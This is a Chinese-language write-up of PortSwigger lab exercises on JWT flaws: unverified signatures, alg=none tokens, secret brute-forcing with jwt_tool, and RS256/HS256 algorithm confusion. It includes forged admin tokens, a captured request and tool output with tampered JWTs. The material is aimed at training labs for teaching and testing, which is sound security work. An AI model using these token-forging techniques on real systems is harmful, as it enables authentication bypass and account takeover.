一文学习JWT造成的各种安全漏洞利用手法

admin 2025年3月10日09:20:48评论26 views字数 12172阅读40分34秒阅读模式

接受任意签名(未校验)

JWT 库通常提供一种方法来验证令牌,而另一种方法只是解码它们。例如,Node.js 库 jsonwebtoken 具有 verify() 和 decode()。

有时,开发人员会混淆这两个方法,只将传入的令牌传递给 decode() 方法。这实际上意味着应用程序根本不验证签名。

地址https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature

任务要求

此实验室使用基于 JWT 的机制来处理会话。由于实现缺陷,服务器不会验证它收到的任何 JWT 的签名。

要解决该实验,请修改您的会话令牌以访问 /admin 上的管理面板,然后删除用户 carlos。

您可以使用以下凭证登录自己的帐户:wiener:peter

解决过程

点击来到博客页面一文学习JWT造成的各种安全漏洞利用手法

使用 wiener:peter 登录

一文学习JWT造成的各种安全漏洞利用手法登录成功后可以修改邮箱

然后看到 bp 抓的包一文学习JWT造成的各种安全漏洞利用手法session 中

eyJraWQiOiI5ZWYyMWIyNS05YmQ3LTQ0NTktYTM2Ny01NjY2NmNlMGMwNzgiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNDU5MTAyMiwic3ViIjoid2llbmVyIn0.U2uAHMO5oXSpo2RFCB8hq4oe3fZ1WKzHovlDVje9TNIh3tYOJINIW-vpCPmnQU2EKa3F3dkU-d6nZUdlfbOcLkrRJ1BJiaNjk68-LtIrnU0aDhmY1S3g6peimnoceuU6MLP2jee7ET-QFN_289hvIO2shxY6VVAOIgelTgThDcNZ6GES9eZZw8KWNFQaHJLLUgHy66b5zKvqLqm_ziISA6TeCEmyxkBw-aELK5MMB3BOPF81P03Bek1sRkiPT3owGiYrQRiONPhXcKQIAMf7W5wEmBJGux4_wDXJYyk4J59aP_GPYj6istXr4uWjIyLsk0_LFpk45kE3LBGMKCbp_g

很明显的 jwt

一文学习JWT造成的各种安全漏洞利用手法

因为本关没有对 signnature 进行验证,我们可以随意伪造我们修改为 administrator得到新的 jwt

eyJraWQiOiI5ZWYyMWIyNS05YmQ3LTQ0NTktYTM2Ny01NjY2NmNlMGMwNzgiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNDU5MTAyMiwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.U2uAHMO5oXSpo2RFCB8hq4oe3fZ1WKzHovlDVje9TNIh3tYOJINIW-vpCPmnQU2EKa3F3dkU-d6nZUdlfbOcLkrRJ1BJiaNjk68-LtIrnU0aDhmY1S3g6peimnoceuU6MLP2jee7ET-QFN_289hvIO2shxY6VVAOIgelTgThDcNZ6GES9eZZw8KWNFQaHJLLUgHy66b5zKvqLqm_ziISA6TeCEmyxkBw-aELK5MMB3BOPF81P03Bek1sRkiPT3owGiYrQRiONPhXcKQIAMf7W5wEmBJGux4_wDXJYyk4J59aP_GPYj6istXr4uWjIyLsk0_LFpk45kE3LBGMKCbp_g
一文学习JWT造成的各种安全漏洞利用手法

这里因为如果整个一起修改的哇,工具还是会识别签名,所以只需要修改 head 即可

然后我们在使用这个 jwt 去访问 admin一文学习JWT造成的各种安全漏洞利用手法

成功访问到,然后我们删除用户

一文学习JWT造成的各种安全漏洞利用手法完成题目

接受没有签名的令牌

JWT 标头包含一个 alg 参数。这会告诉服务器使用哪种算法对令牌进行签名,从而告诉服务器在验证签名时需要使用哪种算法。

{    "alg": "HS256",    "typ": "JWT"}

WT 可以使用一系列不同的算法进行签名,但也可以保持不签名状态。在这种情况下,alg 参数设置为 none,而且服务支持把alg字段设置为none,则任何的token都是ok的

任务要求

此实验室使用基于 JWT 的机制来处理会话。服务器被不安全地配置为接受未签名的 JWT。

要解决该实验,请修改您的会话令牌以访问 /admin 上的管理面板,然后删除用户 carlos

您可以使用以下凭证登录自己的帐户:wiener:peter

一模一样

解决过程

我们还是一样的到改变邮件地址的地方得到我们的jwt

POST /my-account/change-email HTTP/1.1Host: 0a4d002404a8bd53832728fd00870040.web-security-academy.netCookie: session=eyJraWQiOiIwNWYzODFiZC1hNDkyLTQ0NGMtOWU2Yi1lZjE2Y2Q3ZmU3MzgiLCJhbGciOiJub25lIn0=.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNDY3OTEwMSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.JGTRlJwR--7nMIEqQoVHmHBb_lYJFFARlpnmpRo5aZy9DIKSHjfpjRWjNXZjLJKSqhX6ESNssAakd3X2fsxIFMLOEJ-I5KwUhOP7JgiGN31MKWztUDoY-UY1IVAMYc96kbKMZmrDF9QUxULePX93lwPZ590BzMGdxWDuu-cqan7FhYCDwlpkM7ttat65REdKDGUFz1TZPRSs4R6SAsJ9k7s--ug_AtZjXNOTdV_kvzACvbd7aLQAMu5k-SNVlKoECGnFn4r9gqTlArd4gGz5uBrkiGFmUUvyX_fC-uUey_suTyZK5HdHcgbPARZPksSA3Oy13MQbelgWYOp4ClHGvAContent-Length: 63Cache-Control: max-age=0Sec-Ch-Ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Origin: https://0a4d002404a8bd53832728fd00870040.web-security-academy.netContent-Type: application/x-www-form-urlencodedUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://0a4d002404a8bd53832728fd00870040.web-security-academy.net/my-account?id=wienerAccept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Priority: u=0, iConnection: keep-aliveemail=2403635670%40qq.com&csrf=ElaQw9CZH470lOeuHq4yhNONqwoTLMpP

然后一样的解码

一文学习JWT造成的各种安全漏洞利用手法

我们需要改的地方如图

改之后即可成功

jwt密钥爆破

这个就和我们的弱密码的效果差不多的,怎么说一般都爆破不出来,如果需要爆破的话可以使用 jwt_toolhttps://github.com/ticarpi/jwt_tool

这里参考https://forum.butian.net/share/2734

效果如下一文学习JWT造成的各种安全漏洞利用手法

算法混淆绕过

加密算法

两个必须有知道的加密方法

HS256 (HMAC with SHA-256)HMAC (Hash-based Message Authentication Code) 是一种基于哈希的消息认证码。HS256 使用 SHA-256 哈希算法来生成一个基于共享密钥的签名。

密钥: HS256 使用对称密钥,即同一个密钥用于签名和验证 JWT。发送者和接收者必须共享相同的密钥才能验证签名。

流程:发送者使用密钥和算法(HMAC-SHA256)对 JWT 的头部和负载进行加密,生成签名。接收者使用相同的密钥和算法验证 JWT 是否被篡改。

一文学习JWT造成的各种安全漏洞利用手法

RS256 (RSA Signature with SHA-256)RSA 是一种非对称加密算法,RS256 使用 RSA 公私钥对来签名和验证 JWT。

密钥: RS256 使用公钥和私钥对。发送者使用私钥签名 JWT,而接收者使用公钥验证签名。接收者不需要拥有私钥,私钥和公钥是成对生成的。

流程:发送者使用私钥和 SHA-256 算法对 JWT 进行签名。接收者使用公钥验证签名,确保 JWT 没有被篡改。

一文学习JWT造成的各种安全漏洞利用手法

漏洞原因

首先我们的验证签名后端可能是这样一个逻辑

function verify(token, secretOrPublicKey){    algorithm = token.getAlgHeader();  // 获取JWT头部中的alg字段    if(algorithm == "RS256"){        // 使用提供的密钥作为RSA公钥    } else if (algorithm == "HS256"){        // 使用提供的密钥作为HMAC密钥    }}

它通过检查 JWT 中 alg (算法)头部来决定如何验证签名

对于 RS256,它将使用一个公钥来验证签名。

对于 HS256,它将使用一个共享密钥来验证签名。

但是问题是出在开发者

错误地传递一个固定的公钥来验证所有类型的 JWT,而不考虑它们实际使用的算法。例如,开发者可能会总是传递一个公钥(假设它只适用于 RS256 签名)来验证所有的 JWT:

publicKey = <public-key-of-server>;token = request.getCookie("session");verify(token, publicKey);  // 不管JWT使用的是什么算法,都传递固定的公钥

在这种情况下, HS256 类型的 JWT(该算法使用对称密钥)也会传递给 verify() 函数,并且使用公钥进行验证。由于 HS256 使用的是共享密钥而不是公钥,这样的验证将无法通过。

我们的攻击思路就是把 alg 修改为 HS256 , HS256 类型的 JWT(该算法使用对称密钥)也会传递给 verify() 函数,并且使用公钥进行验证。

漏洞利用

一文学习JWT造成的各种安全漏洞利用手法
获取公钥

首先我们需要寻找一下公钥

服务器有时通过映射到/jwks.json 或/.well-known/jwks.json 的端点将它们的公钥公开为 JSON Web Key(JWK)对象,比如大家熟知的/jwks.json,这些可能被存储在一个称为密钥的 jwk 数组中,这就是众所周知的 JWK 集合

JSON Web Key (JWK) 是一种表示公钥的标准格式。它是一个 JSON 对象,其中包含了与公钥相关的信息,通常用于 JWT 签名验证。JWK 使得公开公钥的交换更加简便和自动化,特别是在不想直接暴露公钥的情况下,可以通过标准的 API 进行检索。

很多基于 JWT 的身份验证系统,尤其是 OAuth2 和 OpenID Connect(OIDC)实现,公开其公钥以供客户端验证签名。这个公钥通常存储在一个称为 JWK 集合(JWK Set) 的 JSON 文档中。

一般都是在/jwks.json/.well-known/jwks.json

比如

{  "keys": [    {      "kty": "RSA",      "kid": "2011-04-29",      "use": "sig",      "alg": "RS256",      "n": "sXch3g6zWHTg7kW7D...",      "e": "AQAB"    },    {      "kty": "RSA",      "kid": "2017-06-15",      "use": "sig",      "alg": "RS256",      "n": "rWLZjw4k4Yt6N1W_g...",      "e": "AQAB"    }  ]}

我们可以尝试访问有没有泄露

https://0a7400e30416c6d080a9e49d001d00a2.web-security-academy.net/jwks.json

一文学习JWT造成的各种安全漏洞利用手法是有的

{"keys":[{"kty":"RSA","e":"AQAB","use":"sig","kid":"3d4d19f8-c756-4012-a10f-b8ee18646c70","alg":"RS256","n":"wa3grpCz-1Rt6olPXN_HNsZfo5_L4mfMejejtCbSHojFUTyTjNcwFl-oXZBcNCeYKJVP9Ll0YvNjZbi5C3xn5G2zbu3nL5FRjZIpagK_Zmr_4CpAEPH5fLoL2G2cDTyyb1tWS9Y7R0-MEvm9QN7S7iw3NM2JLC_C1FL5ugtta_x-hQIVXCOWH_qHeoHtDNnGdy7KEyrryeeZGNGl2ZuGk2KCxYKA0VYgwAd_g7T-3ya935wPrSMptJ-OxHcBKBk-mYd_y_XaKEBDG7jZS_uHFbFSQ5prHELUsgGv6tylkqPIsmPclByaKM6cJ0vg00EAZmaoGhQoO_th14qMs939oQ"}]}
生成签名

我们把 key 放进去生成一个新的 RSA

一文学习JWT造成的各种安全漏洞利用手法然后复制我们的公钥拿去再 base64 一波一文学习JWT造成的各种安全漏洞利用手法得到的 base64 编码我们用来生成 Symmetric key

替换这个一文学习JWT造成的各种安全漏洞利用手法

一文学习JWT造成的各种安全漏洞利用手法修改后然后访问 admin 发包一文学习JWT造成的各种安全漏洞利用手法成功访问到 admin 界面

无密钥算法混淆

这个相比于上一个就没有什么泄露了,不过我们可以使用工具去

一文学习JWT造成的各种安全漏洞利用手法

而工具的作用就是

一文学习JWT造成的各种安全漏洞利用手法

首先我们需要获取两个 jwt

登录获得的 jwt

eyJraWQiOiJkYTA2Yzg1YS0xODRhLTQxOGYtYjVlOS0yYzIyMDY3MTM4NTIiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNTIxOTY3Mywic3ViIjoid2llbmVyIn0.KY4JVtaDwH8nbbB_zapvzUR1txuLXPewAjkA-06TQ1ur6Vo8-yWHzclmfLEMi4PqT8bf2td0LMoZ7ttW27jjAm2Dv6-B4D8Q_4-b1fNrZHAp4YdMsYnkMD0jiPBAX5_9x0XPG6cOIBv8Voimd_1_Ghjncu4-oVItT9q0DeoaB0opXNm1btBo0fi-VakhiCaBgRfOmCJOXZL94ZT5szf7HxbbfM4jXX1nlD1G8ysThaEl6FYcCI8EAQ261MKbKvcbgNsLWurujKW98wqPk_i5rfizYMcv46YZ2KVoYSbCFpB6KOa5aT4WG6fZYcD19KaNDyvrWkR3rVKOe7x7uaYOCA

我退出再次登录获取的 jwt

eyJraWQiOiJkYTA2Yzg1YS0xODRhLTQxOGYtYjVlOS0yYzIyMDY3MTM4NTIiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTczNTIxOTcyMCwic3ViIjoid2llbmVyIn0.XNJEemR2Z-h2vkfCZHkPoQznBvRvisZYwRV5a2Knx51eWNy-gdyMrV217EExUU-JxSTJG-bqsZUtCUBlYEcbUGOMP1UZWDIjKtW19XqMTiUvHykJOsMzNqkdrWZ2dcP0k5SEdoO0cGVil7WNdVKfjFU9oBXTOJGNxCroqWHksX9sMKojtHnufZW6WABOIku7I5ev11VsPleMrW4GMXIR7Jc51o7b8dFeAXISBXNlFCIumLKlSbhwE7O6Kf_qEOfC_FxXPxNWFRWFnKqi4d44EJUXama1G5bzvGT8Cjf0ilhvJM8ItDJRlpXts9eTm1Lo8UuxpFae_0D7vqJffaYyPw

然后按照教程

结果如下

Found n with multiplier 1:    Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRURJeC9pQ1A3Um8zWS82dUdaQW1XZQpocVUrWmhzTDlsOHZMTWgvTDZjeGhrWHJUWGxxYk9xbndnN0hSSXdzcU14NnZySDNmZW5TVUs3cFh2OERZU2hHCjd5cGMzOHlvM2Q0TnMrZVVVeTVBQ3FMb1VnTjMvMlNZR1RJL3czWXJqVzBSd05JemhZOXhXV3g5dE9GZ2ZBR1cKQm4wK2JPblZraHdvVkRQcWNJZnhnd2lPTy9Xa1lLNmRBRTZxN0FqSDc3UzY4Vis1a3c1TTRRYWxwdUJCaFR6MwpCNlR3dHBrc05ETHRuRUNjcElCS1BkeUxmcXFKTzZRaTVBNm1GblZ1aE9KREN3QWpJbFlBNWFhdk9ZVUFBVElXCk0rY1JaZjN4VHVPWkh1enBEd0VJUjJROGF4TER5aHFGcnY5d0tCTWMxWjhLUUlIVVFxejRkdTVLOHZjU2FnRzQKMUFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==    Tampered JWT: eyJraWQiOiJkYTA2Yzg1YS0xODRhLTQxOGYtYjVlOS0yYzIyMDY3MTM4NTIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTczNTMwMzM2OSwgInN1YiI6ICJ3aWVuZXIifQ.r1PuQ90sThTNeUn8TEPvcU_tt-me7G64u5h4dWdt8Hg    Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFREl4L2lDUDdSbzNZLzZ1R1pBbVdlaHFVK1poc0w5bDh2TE1oL0w2Y3hoa1hyVFhscWJPcW4Kd2c3SFJJd3NxTXg2dnJIM2ZlblNVSzdwWHY4RFlTaEc3eXBjMzh5bzNkNE5zK2VVVXk1QUNxTG9VZ04zLzJTWQpHVEkvdzNZcmpXMFJ3Tkl6aFk5eFdXeDl0T0ZnZkFHV0JuMCtiT25Wa2h3b1ZEUHFjSWZ4Z3dpT08vV2tZSzZkCkFFNnE3QWpINzdTNjhWKzVrdzVNNFFhbHB1QkJoVHozQjZUd3Rwa3NOREx0bkVDY3BJQktQZHlMZnFxSk82UWkKNUE2bUZuVnVoT0pEQ3dBaklsWUE1YWF2T1lVQUFUSVdNK2NSWmYzeFR1T1pIdXpwRHdFSVIyUThheExEeWhxRgpydjl3S0JNYzFaOEtRSUhVUXF6NGR1NUs4dmNTYWdHNDFBSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K    Tampered JWT: eyJraWQiOiJkYTA2Yzg1YS0xODRhLTQxOGYtYjVlOS0yYzIyMDY3MTM4NTIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTczNTMwMzM2OSwgInN1YiI6ICJ3aWVuZXIifQ.arzSrxOp1ANyTQoJBnpy8zSu-_xfTRt1Tp_gRXZM7hsFound n with multiplier 2:    Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUJrWS94Qkg5bzBic2Y5WERNZ1RMUApRMUtmTXcyRit5K1hsbVEvbDlPWXd5TDFwcnkxTm5WVDRRZGpva1lXVkdZOVgxajd2dlRwS0ZkMHIzK0JzSlFqCmQ1VXViK1pVYnU4RzJmUEtLWmNnQlZGMEtRRzcvN0pNREprZjRic1Z4cmFJNEdrWndzZTRyTFkrMm5Dd1BnREwKQXo2Zk5uVHF5UTRVS2huMU9FUDR3WVJISGZyU01GZE9nQ2RWZGdSajk5cGRlSy9jeVljbWNJTlMwM0Fnd3A1NwpnOUo0VzB5V0dobDJ6aUJPVWtBbEh1NUZ2MVZFbmRJUmNnZFRDenEzUW5FaGhZQVJrU3NBY3ROWG5NS0FBSmtMCkdmT0lzdjc0cDNITWozWjBoNENFSTdJZU5ZbGg1UTFDMTMrNEZBbU9hcytGSUVEcUlWWjhPM2NsZVh1Sk5RRGMKYWdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==    Tampered JWT: eyJraWQiOiJkYTA2Yzg1YS0xODRhLTQxOGYtYjVlOS0yYzIyMDY3MTM4NTIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTczNTMwMzM2OSwgInN1YiI6ICJ3aWVuZXIifQ.dY2Ag7OO40l9l0rYAPb5RKxkEhDX1QHv35xcuIbK1wQ    Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQmtZL3hCSDlvMGJzZjlYRE1nVExQUTFLZk13MkYreStYbG1RL2w5T1l3eUwxcHJ5MU5uVlQKNFFkam9rWVdWR1k5WDFqN3Z2VHBLRmQwcjMrQnNKUWpkNVV1YitaVWJ1OEcyZlBLS1pjZ0JWRjBLUUc3LzdKTQpESmtmNGJzVnhyYUk0R2tad3NlNHJMWSsybkN3UGdETEF6NmZOblRxeVE0VUtobjFPRVA0d1lSSEhmclNNRmRPCmdDZFZkZ1JqOTlwZGVLL2N5WWNtY0lOUzAzQWd3cDU3ZzlKNFcweVdHaGwyemlCT1VrQWxIdTVGdjFWRW5kSVIKY2dkVEN6cTNRbkVoaFlBUmtTc0FjdE5Ybk1LQUFKa0xHZk9Jc3Y3NHAzSE1qM1owaDRDRUk3SWVOWWxoNVExQwoxMys0RkFtT2FzK0ZJRURxSVZaOE8zY2xlWHVKTlFEY2FnSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K    Tampered JWT: eyJraWQiOiJkYTA2Yzg1YS0xODRhLTQxOGYtYjVlOS0yYzIyMDY3MTM4NTIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTczNTMwMzM2OSwgInN1YiI6ICJ3aWVuZXIifQ.JcDsUzNIeZdXeZmg8ngAxf7pJhEYoe5wAvYjXhHv50cFound n with multiplier 4:    Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF5TWY0Z2orMGFOMlArcmhtUUpsbgpvYWxQbVliQy9aZkx5eklmeStuTVlaRjYwMTVhbXpxcDhJT3gwU01MS2pNZXI2eDkzM3AwbEN1NlY3L0EyRW9SCnU4cVhOL01xTjNlRGJQbmxGTXVRQXFpNkZJRGQvOWttQmt5UDhOMks0MXRFY0RTTTRXUGNWbHNmYlRoWUh3QmwKZ1o5UG16cDFaSWNLRlF6Nm5DSDhZTUlqanYxcEdDdW5RQk9xdXdJeCsrMHV2RmZ1Wk1PVE9FR3BhYmdRWVU4OQp3ZWs4TGFaTERReTdaeEFuS1NBU2ozY2kzNnFpVHVrSXVRT3BoWjFib1RpUXdzQUl5SldBT1dtcnptRkFBRXlGCmpQbkVXWDk4VTdqbVI3czZROEJDRWRrUEdzU3c4b2FoYTcvY0NnVEhOV2ZDa0NCMUVLcytIYnVTdkwzRW1vQnUKTlFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==    Tampered JWT: eyJraWQiOiJkYTA2Yzg1YS0xODRhLTQxOGYtYjVlOS0yYzIyMDY3MTM4NTIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTczNTMwMzM2OSwgInN1YiI6ICJ3aWVuZXIifQ.l-xCA6Jdg25RCBoBeKXxI8ICZ82HsC1UQ13jKh_TR2I    Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQXlNZjRnaiswYU4yUCtyaG1RSmxub2FsUG1ZYkMvWmZMeXpJZnkrbk1ZWkY2MDE1YW16cXAKOElPeDBTTUxLak1lcjZ4OTMzcDBsQ3U2VjcvQTJFb1J1OHFYTi9NcU4zZURiUG5sRk11UUFxaTZGSURkLzlrbQpCa3lQOE4ySzQxdEVjRFNNNFdQY1Zsc2ZiVGhZSHdCbGdaOVBtenAxWkljS0ZRejZuQ0g4WU1Jamp2MXBHQ3VuClFCT3F1d0l4KyswdXZGZnVaTU9UT0VHcGFiZ1FZVTg5d2VrOExhWkxEUXk3WnhBbktTQVNqM2NpMzZxaVR1a0kKdVFPcGhaMWJvVGlRd3NBSXlKV0FPV21yem1GQUFFeUZqUG5FV1g5OFU3am1SN3M2UThCQ0Vka1BHc1N3OG9haAphNy9jQ2dUSE5XZkNrQ0IxRUtzK0hidVN2TDNFbW9CdU5RSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K    Tampered JWT: eyJraWQiOiJkYTA2Yzg1YS0xODRhLTQxOGYtYjVlOS0yYzIyMDY3MTM4NTIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTczNTMwMzM2OSwgInN1YiI6ICJ3aWVuZXIifQ.cd9-Y0F6XGSi41wr7ql4292cQdAQx-LZcJQT7c55sqI

然后就是一个一个尝试了,但是因为

一文学习JWT造成的各种安全漏洞利用手法bp已经说了,我们就不需要再去尝试了

然后之后的步骤和上一个一模一样的,就不再去弄了

作者:【真爱和自由

原文始发于微信公众号(船山信安):一文学习JWT造成的各种安全漏洞利用手法

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月10日09:20:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一文学习JWT造成的各种安全漏洞利用手法https://cn-sec.com/archives/3820164.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息